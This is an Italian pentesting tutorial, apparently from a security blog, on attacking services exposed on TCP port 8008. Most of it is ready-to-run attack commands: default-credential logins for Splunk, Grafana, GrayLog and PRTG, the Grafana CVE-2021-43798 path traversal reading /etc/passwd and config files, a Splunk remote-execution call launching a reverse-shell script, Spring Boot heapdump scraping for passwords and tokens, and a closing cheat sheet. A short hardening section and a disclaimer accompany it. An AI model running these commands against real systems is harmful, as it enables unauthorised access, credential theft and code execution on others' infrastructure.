networking

Porta 8008 HTTP-alt: Grafana, Splunk e API Interne per Pentest

Porta 8008 HTTP-alt: Grafana, Splunk e API Interne per Pentest

Porta 8008 HTTP alternativa: default credentials Grafana e Splunk, CVE-2021-43798 path traversalSpring Boot Actuator heapdump, API REST interne e credential extraction.

  • Pubblicato il 2026-04-17
  • Tempo di lettura: 4 min

La porta 8008 TCP è una delle porte HTTP “alternative” più comuni — un jolly che gli amministratori usano quando la porta 80 è già occupata o quando vogliono tenere un servizio web “separato” dal sito principale. Ed è proprio questa separazione che crea il problema: il sito sulla porta 80 ha il WAF, i certificati TLS, le regole di firewall e il monitoraggio; quello sulla 8008 è il figlio dimenticato — niente protezioni, spesso nessuna autenticazione, a volte persino con DEBUG=True attivo. Nel penetration testing, le porte HTTP alternative (8000, 8008, 8080, 8443, 8888) sono tra le più redditizie da scansionare perché ospitano interfacce di management, pannelli di monitoring, API interne e console di debug che l’admin ha esposto “temporaneamente” tre anni fa.

Sulla 8008 non c’è un singolo servizio dominante: può essere qualsiasi cosa, dal proxy aziendale al pannello Grafana, dall’API interna al Kubernetes Dashboard. L’approccio è sempre lo stesso: identificare, enumerare, attaccare.

1. Identificare il Servizio #

bash
nmap -sV -p 8008 10.10.10.40
bash
# Banner grab
curl -s http://10.10.10.40:8008/ -I
bash
# Homepage
curl -s http://10.10.10.40:8008/ | head -80
IndicatoreServizio probabileProssimo step
Server: Apache, nginx con pagina genericaWeb server alternativoDirectory bruteforce
Server: SplunkSplunk WebDefault creds admin:changeme
Pagina login con “Grafana”GrafanaDefault admin:admin
X-Powered-By: ExpressNode.js APIEnumera endpoint
JSON API senza UIAPI REST internaEnumera endpoint
Pagina proxy/cache statusHTTP ProxyTest open proxy
Server: JettyJava managementJolokia, JMX
Dashboard con “GrayLog”GrayLogDefault admin:admin
Login con “Jenkins”JenkinsTratta come porta 8080
HTML con “PRTG”PRTG Network MonitorDefault prtgadmin:prtgadmin

2. Servizi Comuni sulla 8008 #

Splunk Web #

Splunk è una piattaforma di analisi log enterprise. Se lo trovi sulla 8008:

bash
curl -s http://10.10.10.40:8008/en-US/account/login -I
bash
# Default credentials
# admin:changeme (il default di ogni installazione Splunk)
curl -s -X POST http://10.10.10.40:8008/en-US/account/login \
  -d "username=admin&password=changeme"

Con accesso admin a Splunk:

  • Cerca credenziali nei log (come con Kibana ma con la potenza di SPL)
  • Esegui comandi tramite scripted input: | script python reverse_shell.py
  • Leggi file tramite | inputlookup e | inputcsv
  • Information disclosure completa: ogni log indicizzato è accessibile
bash
# Splunk RCE via API
curl -s -u admin:changeme https://10.10.10.40:8008/services/search/jobs \
  -d 'search=| sendalert runshellscript param.script="reverse.sh"'

Grafana #

Grafana è la piattaforma di visualizzazione dati più usata per monitoring infrastrutturale.

bash
# Default credentials
curl -s -X POST http://10.10.10.40:8008/login \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","password":"admin"}'
json
{"message":"Logged in"}

Con accesso Grafana:

  • Datasource credentials — Grafana si connette a Prometheus, Elasticsearch, PostgreSQL, MySQL, InfluxDB. Le credenziali di connessione sono leggibili dall’API:
bash
curl -s -u admin:admin http://10.10.10.40:8008/api/datasources | python3 -m json.tool
json
[{
    "name": "Production MySQL",
    "type": "mysql",
    "url": "db-prod.corp.internal:3306",
    "user": "grafana_reader",
    "secureJsonFields": {"password": true}
}]
bash
# In versioni Grafana < 9.x, il password field è leggibile:
curl -s -u admin:admin http://10.10.10.40:8008/api/datasources/1 | python3 -m json.tool
# "password": "Gr@fana_DB_2025!"

Credenziali database di produzione esposte.

CVE-2021-43798 — Path traversal pre-auth (Grafana 8.x):

bash
curl -s "http://10.10.10.40:8008/public/plugins/alertlist/../../../../../../../../etc/passwd"

Se risponde con il contenuto di /etc/passwd → file read arbitrario senza autenticazione. Leggi: /etc/shadow, configurazione Grafana con credenziali, chiavi SSH.

bash
# Grafana config con password datasource
curl -s "http://10.10.10.40:8008/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini"

GrayLog #

bash
# Default: admin:admin
curl -s -u admin:admin http://10.10.10.40:8008/api/system/cluster -I

GrayLog raccoglie log come Kibana/Elasticsearch — stesse tecniche di ricerca credenziali nei log.

PRTG Network Monitor #

bash
# Default: prtgadmin:prtgadmin
curl -s "http://10.10.10.40:8008/api/table.json?content=sensors&username=prtgadmin&passhash=0" -I

PRTG monitora l’intera infrastruttura di rete — con accesso admin vedi: tutti i device, le credenziali SNMP, le credenziali Windows usate per il monitoring WMI, i diagrammi di rete.

3. API REST Interne #

Se la 8008 serve un’API senza interfaccia web:

Enumerazione endpoint #

bash
# Prova endpoint comuni
curl -s http://10.10.10.40:8008/api/ | python3 -m json.tool
curl -s http://10.10.10.40:8008/api/v1/ | python3 -m json.tool
curl -s http://10.10.10.40:8008/swagger.json
curl -s http://10.10.10.40:8008/openapi.json
curl -s http://10.10.10.40:8008/api-docs/
curl -s http://10.10.10.40:8008/graphql
curl -s http://10.10.10.40:8008/healthz
curl -s http://10.10.10.40:8008/metrics

Se Swagger/OpenAPI è accessibile → documentazione completa di ogni endpoint, parametri, modelli dati.

Endpoint /metrics (Prometheus) #

bash
curl -s http://10.10.10.40:8008/metrics
text
# HELP process_cpu_seconds_total Total user and system CPU time spent
# TYPE process_cpu_seconds_total counter
process_cpu_seconds_total 1234.56
# HELP http_requests_total Total HTTP requests
http_requests_total{method="GET",endpoint="/api/users",status="200"} 45678
http_requests_total{method="POST",endpoint="/api/internal/admin",status="200"} 12

Le metriche Prometheus rivelano: tutti gli endpoint dell’API (inclusi quelli interni), contatori di errori, informazioni sul runtime.

Endpoint sensibili comuni nelle API interne #

bash
curl -s http://10.10.10.40:8008/api/users
curl -s http://10.10.10.40:8008/api/admin/users
curl -s http://10.10.10.40:8008/api/config
curl -s http://10.10.10.40:8008/api/debug
curl -s http://10.10.10.40:8008/api/internal/health
curl -s http://10.10.10.40:8008/api/v1/secrets
curl -s http://10.10.10.40:8008/actuator/env           # Spring Boot
curl -s http://10.10.10.40:8008/jolokia/               # JMX over HTTP

Actuator (Spring Boot) #

Se trovi Spring Boot Actuator:

bash
curl -s http://10.10.10.40:8008/actuator/env
json
{
  "propertySources": [{
    "properties": {
      "spring.datasource.url": {"value": "jdbc:postgresql://db:5432/app"},
      "spring.datasource.username": {"value": "app_user"},
      "spring.datasource.password": {"value": "********"}
    }
  }]
}

Le password sono mascherate con *, ma in alcune versioni:

bash
# /actuator/heapdump scarica la memoria JVM — contiene le password in chiaro
curl -s http://10.10.10.40:8008/actuator/heapdump -o heapdump.hprof
# Analizza con Eclipse MAT o strings
strings heapdump.hprof | grep -iE "password|secret|token" | sort -u | head -50

L’heapdump contiene tutto ciò che è in memoria: password, token JWT, session data, chiavi crittografiche.

4. HTTP Proxy sulla 8008 #

Se la 8008 è un proxy HTTP (come Squid sulla 3128):

bash
# Test open proxy
curl -x http://10.10.10.40:8008 http://ifconfig.me

Se risponde con un IP → proxy aperto. Tutte le tecniche della porta 3128 si applicano: scansione rete interna, accesso servizi non esposti, SSRF verso cloud metadata.

5. Directory Bruteforce Generico #

Se non riesci a identificare il servizio specifico:

bash
gobuster dir -u http://10.10.10.40:8008 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30

# Con estensioni
gobuster dir -u http://10.10.10.40:8008 -w /usr/share/wordlists/dirb/common.txt \
  -x php,html,json,txt,bak,conf -t 30

# Ferox per ricorsione
feroxbuster -u http://10.10.10.40:8008 -w /usr/share/wordlists/dirb/common.txt
bash
# Nikto per vulnerability scanning generico
nikto -h http://10.10.10.40:8008

6. Post-Exploitation #

Le credenziali trovate sulle interfacce della 8008 → lateral movement:

  • Datasource credentials (da Grafana/Splunk) → PostgreSQL, MySQL, Redis
  • SNMP community strings (da PRTG) → enumerazione rete
  • Windows credentials (da PRTG WMI) → WinRM, RDP, SMB
  • Hostname e IP interni (da qualsiasi dashboard di monitoring) → mappa rete
  • JWT secret (da heapdump) → session forgery

7. Detection & Hardening #

  • Non esporre interfacce di management su Internet — Grafana, Splunk, GrayLog dietro VPN
  • Cambia le credenziali di default prima del deploy — ogni singola volta
  • Autenticazione su ogni servizio — niente accesso anonimo a dashboard e API
  • Firewall — porte alternative raggiungibili solo da IP autorizzati
  • Disabilita endpoint pericolosi/actuator/heapdump, /metrics, /debug in produzione
  • Tratta le porte alternative come le porte standard — stesso livello di sicurezza, WAF, TLS, monitoring
  • Audit regolare delle porte aperte — nmap mensile sulla propria infrastruttura

8. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 8008 target
Bannercurl -s http://target:8008/ -I
Homepagecurl -s http://target:8008/ | head -80
Splunkadmin:changeme
Grafanaadmin:admin — API: /api/datasources
Grafana LFIcurl http://target:8008/public/plugins/alertlist/../../../../etc/passwd
GrayLogadmin:admin — API: /api/system/cluster
PRTGprtgadmin:prtgadmin
Swaggercurl http://target:8008/swagger.json
Metricscurl http://target:8008/metrics
Actuatorcurl http://target:8008/actuator/env
Heapdumpcurl http://target:8008/actuator/heapdump -o heap.hprof
Jolokiacurl http://target:8008/jolokia/
Open proxycurl -x http://target:8008 http://ifconfig.me
Gobustergobuster dir -u http://target:8008 -w wordlist -x php,json,txt
Niktonikto -h http://target:8008

Riferimento: Grafana Security advisories, Spring Boot Actuator docs, OWASP Testing Guide. Uso esclusivo in ambienti autorizzati. https://www.pentestpad.com/port-exploit/port-8008-http-alt-alternative-hypertext-transfer-protocol

Il tuo Grafana è esposto? Il tuo Splunk ha ancora changeme? Scoprilo prima che lo scopra qualcun altro: penetration test HackIta. Per crescere come professionista: mentorship 1:1.

#porta-8008 #grafana-pentest #http-alternative-port #spring-boot-actuator

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.